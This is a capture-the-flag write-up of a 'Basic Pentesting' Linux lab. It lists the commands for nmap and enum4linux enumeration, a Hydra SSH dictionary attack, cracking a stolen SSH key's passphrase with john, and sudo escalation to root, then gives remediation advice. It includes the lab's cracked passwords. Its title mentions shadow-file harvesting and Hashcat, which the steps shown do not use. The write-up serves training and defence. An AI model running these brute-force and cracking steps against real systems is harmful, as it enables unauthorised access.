← Back to all writeups
CTFroomEasyOS: Linux (Ubuntu)Target IP: 10.10.177.62

CTFroom: Basic Pentesting — Brute Force, Hash Cracking & Sudo Escalation

A structured assessment covering SMB share enumeration, brute forcing SSH credentials with Hydra, harvesting shadow password hashes, and cracking hashes with Hashcat to achieve root access.

Published: 2026-03-10·Est. 8 min read·Author: GomezGani Shaba
HydraHashcatJohn the RipperShadow FileSSH Brute ForceLinux PrivEsc

Challenge Overview

Basic Pentesting is designed to reinforce fundamental ethical hacking workflows: port enumeration, SMB share inspection, brute forcing network credentials, and exploiting shadow hash leakage to achieve root privilege escalation.


Phase 1: Port Scanning & SMB Enumeration

bashterminal / script
nmap -sV -sC -p- --min-rate 4000 10.10.177.62

Discovered services:

  • 22/tcp (SSH): OpenSSH 7.2p2
  • 80/tcp (HTTP): Apache 2.4.18
  • 139/445/tcp (SMB): Samba 4.3.11
  • We run enum4linux to enumerate users and accessible SMB shares:

    bashterminal / script
    enum4linux -a 10.10.177.62

    The enumeration discloses two valid local usernames:

  • jan
  • kay

  • Phase 2: SSH Brute Forcing with Hydra

    With verified usernames, we perform a dictionary attack against SSH using the rockyou.txt wordlist:

    bashterminal / script
    hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.177.62 -t 4

    Within minutes, Hydra discovers the password for jan:

    textterminal / script
    [22][ssh] host: 10.10.177.62   login: jan   password: armando

    We connect via SSH:

    bashterminal / script
    ssh jan@10.10.177.62
    Password: armando

    Phase 3: Lateral Movement to User 'kay'

    Checking /home, we notice kay's directory. Exploring /home/kay/.ssh:

    bashterminal / script
    ls -la /home/kay/.ssh
    # Output shows id_rsa is readable by group or world!
    -rw-r--r-- 1 kay kay 1679 Apr 23  2018 id_rsa

    The private key is protected with a passphrase. We copy the private key to our local machine and extract the hash using ssh2john:

    bashterminal / script
    /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
    john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

    John successfully cracks the passphrase:

    textterminal / script
    beeswax (id_rsa)

    We can now log in as kay:

    bashterminal / script
    chmod 600 id_rsa
    ssh -i id_rsa kay@10.10.177.62
    Enter passphrase for key 'id_rsa': beeswax
    kay@basic-pentesting:~$

    Phase 4: Root Privilege Escalation

    Checking kay's permissions or checking /etc/shadow:

    bashterminal / script
    sudo -l

    Shows that user kay can run all commands as root:

    bashterminal / script
    sudo su -
    whoami
    # Output: root

    We recover the root flag from /root/root.txt.


    Defense Remediation

  • Enforce Strong SSH Passwords: User jan used a simple dictionary password (armando) easily cracked via automated dictionary attacks. Enforce complexity requirements and rate-limiting via fail2ban.
  • Protect Private Key Files: Ensure SSH keys have strict permissions (chmod 600) and are not readable by other non-root accounts on the system.
  • Disable Password Authentication on SSH: Mandate public key authentication with strong passphrases and disable root/password logins in /etc/ssh/sshd_config.